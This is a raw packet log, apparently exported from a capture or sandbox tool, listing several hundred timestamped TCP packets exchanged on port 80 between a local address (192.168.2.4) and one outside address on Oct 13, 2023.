Oct 13, 2023 16:06:20.378447056 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.378783941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.378833055 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379018068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379055023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379115105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379153013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379188061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379224062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379287958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379323959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379396915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379434109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379626036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379664898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379816055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379852057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379884958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379918098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.379920006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.379955053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380074024 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380119085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380179882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380218029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380228996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380264997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380525112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380563974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380623102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380661011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380726099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380765915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380781889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380820990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.380856037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.380892992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381125927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381165028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381212950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381253958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381320953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381364107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381513119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381552935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381577969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381616116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381745100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381783962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.381800890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.381838083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.382002115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.382045984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.382081985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.382123947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.382653952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.382705927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.382708073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.382750034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.382765055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.382806063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.382972956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383016109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383157969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383198023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383233070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383275032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383310080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383346081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383460045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383508921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383634090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383683920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383687973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383734941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.383760929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.383802891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384104013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384179115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384264946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384304047 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384318113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384360075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384394884 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384429932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384464025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384506941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384563923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384603024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384638071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384681940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384687901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384725094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384762049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384798050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384855032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384891987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.384946108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384980917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.384988070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.385023117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.385056973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.385099888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.385179996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.385221958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.385293007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.385333061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.385385036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.385426998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.385776997 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.385818958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386184931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386229038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386265993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386301994 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386337042 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386377096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386400938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386440992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386498928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386535883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386552095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386590004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386610031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386646986 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386682987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386739016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386814117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386852026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386892080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386930943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.386955023 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.386995077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387017012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387058973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387125969 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387161970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387187004 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387224913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387295961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387331963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387357950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387396097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387461901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387500048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387535095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387578011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387578011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387614012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387762070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387799978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387816906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387857914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387872934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387906075 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.387937069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387949944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.387973070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388009071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388082981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388120890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388144016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388185978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388211012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388251066 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388256073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388292074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388324976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388361931 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388386011 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388438940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388463020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388500929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388520002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388556004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388632059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388669968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388704062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388756990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388766050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388791084 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388803005 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388837099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.388881922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.388920069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389089108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389132977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389152050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389190912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389214993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389256954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389434099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389472008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389530897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389568090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389604092 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389638901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389676094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389720917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389779091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389815092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.389841080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.389878988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390405893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390448093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390489101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390543938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390561104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390603065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390670061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390707970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390729904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390754938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390765905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390800953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390877962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390917063 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.390934944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.390974045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391002893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391047001 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391073942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391112089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391340017 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391381025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391381979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391417980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391496897 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391531944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391541958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391580105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391587019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391624928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391689062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391727924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391758919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391794920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391845942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391885042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391896009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.391933918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.391964912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392004967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392168999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392211914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392371893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392395973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392422915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392436028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392488956 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392533064 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392534018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392577887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392610073 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392647028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392647982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392683983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392915010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.392963886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.392966986 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393002987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393006086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.393042088 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.393074036 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393110991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.393131018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393170118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.393249035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393276930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393295050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.393311977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.393351078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.393388987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.394809961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.394862890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.394875050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.394913912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.394947052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.394985914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395004034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395045042 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395056963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395100117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395119905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395159006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395178080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395214081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395216942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395252943 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395291090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395332098 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395345926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395386934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395406008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395448923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395484924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395530939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395560980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395598888 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395663977 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395703077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395718098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395756960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395786047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395823956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.395889044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.395926952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396048069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396092892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396126032 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396164894 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396183968 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396223068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396235943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396266937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396277905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396302938 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396331072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396368980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396373034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396414995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396482944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396522045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396594048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396636963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396678925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396717072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396775961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396820068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396832943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396877050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.396897078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.396936893 CEST	49762	80	192.168.2.4	91.215.85.17
